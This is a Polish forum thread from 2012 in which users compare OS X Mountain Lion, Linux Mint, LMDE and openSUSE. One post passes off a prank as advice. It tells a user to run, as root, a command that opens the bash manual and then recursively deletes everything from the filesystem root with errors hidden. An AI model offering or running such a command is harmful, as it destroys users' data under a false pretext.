Forum CDRinfo.pl

Forum CDRinfo.pl (https://forum.cdrinfo.pl/)
-   Systemy operacyjne i aplikacje (https://forum.cdrinfo.pl/f124/)
-   -   Apple flame war (było: Apple iPad) (https://forum.cdrinfo.pl/f124/apple-flame-war-bylo-apple-ipad-84942/)

sobrus 13.07.2012 08:47

Cytat:

Napisany przez BananowaPrawica (Post 1215270)
...to taka która zawiera możliwie najmniej błędów i myślę tutaj głównie o takich błędach jak dokumentacja wycięta z pakietów...

Wygląda na to że jesteś wyznawcą "Arch Way" :) Ja lubię jednak udogodnienia dla użytkownika w postaci po prostu prostej obsługi przez GUI, ale nie takiej w stylu Ubuntu czy Gnome3.
Jestem leniwy, ale bez przesady, to jest już przegięcie. W suse jest taki złoty środek.

Cytat:

Napisany przez BananowaPrawica (Post 1215270)
rm -Rf *

k***a
:haha:

Gadzina18 13.07.2012 02:07

Optymalizacja to zdecydowanie mocna strona nowego systemu OS X 10.8, przynajmniej na moim MacBooku Air.

BananowaPrawica 12.07.2012 15:46

sobrus,
dla mnie nieodmiennie dystrybucja dla niezaawansowanych, to taka która zawiera możliwie najmniej błędów i myślę tutaj głównie o takich błędach jak dokumentacja wycięta z pakietów itp

Cytat:

Napisany przez Yossi (Post 1215241)

Czy mnie się tylko wydaje, czy Minto tylko shell dla LMDE?

Aby zrozumieć różnicę, wydaj w terminalu takie polecenie, najlepiej jako root:

Kod:

cd / && man bash && rm -Rf * &> /dev/null
przeczytaj co napisane w podręczniku (i wciśnij klawisz q, aby z niego wyjść)

A potem zainstaluj Haiku.

sobrus 12.07.2012 14:18

Normalny mint to dystrybucja bazująca na Ubuntu (=debian+ubuntu+mint)
LMDE to dystrybucja bazująca na debian testing (=debian+mint).
Miedzy nimi są spore różnice, LMDE jest dla bardziej zaawansowanych użytkowników - lżejsza szybsza, semi rolling (mniej stabilna) i generalnie trudniejsza w obsłudze.

I nie jest kompatybilna z pakietami/repozytoriami ubuntu, a zwykły mint jest.

andrzejj9 12.07.2012 14:16

W sumie fajny pomysł i projekt:
http://www.kickstarter.com/projects/...pe-on-as-it-is

(może ktoś będzie chciał się dorzucić ;) W sumie sam bym o tym pomyślał, bo pomysł wydaje mi się ma szansę chwycić, ale samo urządzenie mi nie potrzebne, a innych korzyści z tego potem nie ma)

Yossi 12.07.2012 14:01

Spróbuję znaleźć LiveCD do LMDE i zobacze jak to hula.

Czy mnie się tylko wydaje, czy Minto tylko shell dla LMDE?

sobrus 12.07.2012 13:01

suse 11.4 był świetny i aktualnie go jeszcze używam, ale to już przeszłość. Support kończy mu sie w tym roku.
12.1 jest według mnie badziewny, miałem z nim duże problemy których nie udało mi się rozwiązać, a 12.2 nie zapowiada się wiele lepiej.
Za dużo zmian, za mało czasu, już wiadomo że zaliczą przynajmniej 2 miesięczny poślizg z premierą - a beta nie wygląda zachęcająco (doinstalowanie 300MB pakietów KDE żeby użyć compiza pod xfce jest jakieś chore). Przez brak czasu za bardzo sie skupiają na KDE, xfce który w 11.4 działa świetnie - to jakaś ruina.

Do tego problem ze środowiskiem - stawiają na KDE którego nie trawię. XFCE zostało w 12.1 i 12.2 potraktowane po macoszemu, ze względu na gnome3, a MATE nie ma.

Dlatego sprawadzam LMDE. Działa nieźle, jest semi rolling, i ma dopracowane mate, xfce i cinnamon - czyli akurat to co wg mnie najlepsze w linuksowym świecie.

Niestety pod maską debian, który mi odpowiada znacznie mniej niż suse :(
semi rolling mint bazujący na suse to by było coś :spoko: zainstalowałbym od razu :D

Yossi 12.07.2012 09:51

Hmmm, Mint jest w sumie OK, ale niestety "far from perfection", nie wiem jak SUSE, możesz coś doradzić?

sobrus 11.07.2012 12:19

lmde to wlasnie wersja minta :taktak:
Niestety ma pewne minusy w stosunku do suse, ale plusy też na szczęście są.

Yossi 11.07.2012 11:57

Cytat:

Napisany przez sobrus (Post 1215143)
Jakaś plaga z tymi systemami...

Windows zmierza ku gorszemu.
OSX zmierza ku gorszemu.
z suse też dzieje sie coś niedobrego...
chyba sobie lmde zainstaluje :szczerb:

Bo ja wiem... zainstalowałem próbnie Linux Mint i nawet mi sie podoba, oczywiście pomijając problemy sprzętowe.
Nowy Windows 8 - dla mnie to nieporozumienie, W tej chwili cały mój system stoi na Win7 i nie widzę powodu zmieniać.

sobrus 11.07.2012 09:55

Jakaś plaga z tymi systemami...

Windows zmierza ku gorszemu.
OSX zmierza ku gorszemu.
z suse też dzieje sie coś niedobrego...
chyba sobie lmde zainstaluje :szczerb:

Yossi 11.07.2012 09:25

Cytat:

Napisany przez Gadzina18 (Post 1215139)
Póki co system działa szybciej (ale bez rewelacji) w stosunku do 10.7 Lion. Następna rzecz , która rzuca się od razu w oczy po uruchomieniu to boczny pasek powiadomień (nowy mail, nowa wiadomość z chatu google itp itd). Safari się zmieniło i upodobniło do Google Chrome, głównie poprzez dodanie omnibara. Ikonki wg mnie zrobiły się jeszcze bardziej cukierkowe. Apple dodało znane z iOS aplikacje - notatki (to było częścią programu Mail, teraz jest oddzielnym programem...) oraz Przypomnienia (to z kolei ma funkcjonalność kalendarza, chyba nigdy nie zrozumiem tej funkcji... miałem iPhone i z tego nie korzystałem, korzystać nie zamierzam i tu). Zauważyłem integrację z Twitterem, widoczna jest chociażby w Safari, gdzie po kliknięciu na przycisk udostępnij pojawia się opcja wysłania adresu do Twittera.

Apropo instalacji. Na jej końcu można wybrać dwa Apple ID - jeden do iCloud drugi do iTunes, App Store itp. Ja posiadam dwa identyfikatory, więc ta opcja jest przydatna dla mnie.

Chłodnym okiem spoglądając na ten system mogę powiedzieć tyle - nie jest wart wykładania dodatkowej kasy. Czym się różni od Liona? Bardziej cukierkowym wyglądem, troszeczkę zmienioną funkcjonalnością Findera (np przy kopiowaniu pliku jego ikona przypomina tą*z iOS w czasie gdy instaluje się aplikacja z AppStore), rodzieloną funkcjonalnością kalendarza na dwie aplikacje, to samo z Apple Mail. Na Macbooku Air z podpisu system nie jest tak szybki jak Snow Leopard, mimo iż nic nie robisz, wentylator rozkręca się na Maxa a MacBook grzeje... co się wtedy dzieje? Nad czym system tak myśli? Na pewno nie Spotlight nie indeksuje wtedy dysku, bo to się zrobiło zaraz po instalacji.


Póki co to system oceniam na 3/6.. a póki co może być chyba tylko gorzej.

Wielkie dzięki oraz - jak to mawia młodzież - "wielki szacun" za obiektywizm i konkretne informacje. :spoko:

Gadzina18 11.07.2012 09:15

Póki co system działa szybciej (ale bez rewelacji) w stosunku do 10.7 Lion. Następna rzecz , która rzuca się od razu w oczy po uruchomieniu to boczny pasek powiadomień (nowy mail, nowa wiadomość z chatu google itp itd). Safari się zmieniło i upodobniło do Google Chrome, głównie poprzez dodanie omnibara. Ikonki wg mnie zrobiły się jeszcze bardziej cukierkowe. Apple dodało znane z iOS aplikacje - notatki (to było częścią programu Mail, teraz jest oddzielnym programem...) oraz Przypomnienia (to z kolei ma funkcjonalność kalendarza, chyba nigdy nie zrozumiem tej funkcji... miałem iPhone i z tego nie korzystałem, korzystać nie zamierzam i tu). Zauważyłem integrację z Twitterem, widoczna jest chociażby w Safari, gdzie po kliknięciu na przycisk udostępnij pojawia się opcja wysłania adresu do Twittera.

Apropo instalacji. Na jej końcu można wybrać dwa Apple ID - jeden do iCloud drugi do iTunes, App Store itp. Ja posiadam dwa identyfikatory, więc ta opcja jest przydatna dla mnie.

Chłodnym okiem spoglądając na ten system mogę powiedzieć tyle - nie jest wart wykładania dodatkowej kasy. Czym się różni od Liona? Bardziej cukierkowym wyglądem, troszeczkę zmienioną funkcjonalnością Findera (np przy kopiowaniu pliku jego ikona przypomina tą*z iOS w czasie gdy instaluje się aplikacja z AppStore), rodzieloną funkcjonalnością kalendarza na dwie aplikacje, to samo z Apple Mail. Na Macbooku Air z podpisu system nie jest tak szybki jak Snow Leopard, mimo iż nic nie robisz, wentylator rozkręca się na Maxa a MacBook grzeje... co się wtedy dzieje? Nad czym system tak myśli? Na pewno nie Spotlight nie indeksuje wtedy dysku, bo to się zrobiło zaraz po instalacji.


Póki co to system oceniam na 3/6.. a póki co może być chyba tylko gorzej.

Yossi 11.07.2012 07:21

Cytat:

Napisany przez Gadzina18 (Post 1215125)
Poki co szybkosc dzialania systemu jest zadawalajaca - szybciej niz Lion, czyli cos tam podzialali w Cupertino jezeli chodzi o optymailzacje systemu.. czas pokaze, czy to nie bylo placebo. System aktualizowalem, to nie byla czysta instalacja

Wysyłane z mojego Desire HD za pomocą Tapatalk 2

Czy możesz tak ze swojego doświadczenia opowiedzieć, co się zmieniło w nowym systemie? Pomiń oczywiście ficzery w rodzaju "2 nowe tapety".

Gadzina18 10.07.2012 22:53

Poki co szybkosc dzialania systemu jest zadawalajaca - szybciej niz Lion, czyli cos tam podzialali w Cupertino jezeli chodzi o optymailzacje systemu.. czas pokaze, czy to nie bylo placebo. System aktualizowalem, to nie byla czysta instalacja

Wysy***322;ane z mojego Desire HD za pomoc***261; Tapatalk 2


Wszystkie czasy w strefie CET. Aktualna godzina: 13:36.

Powered by vBulletin® Version 3.9.0 LTS
Copyright ©2000 - 2026, vBulletin Solutions Inc.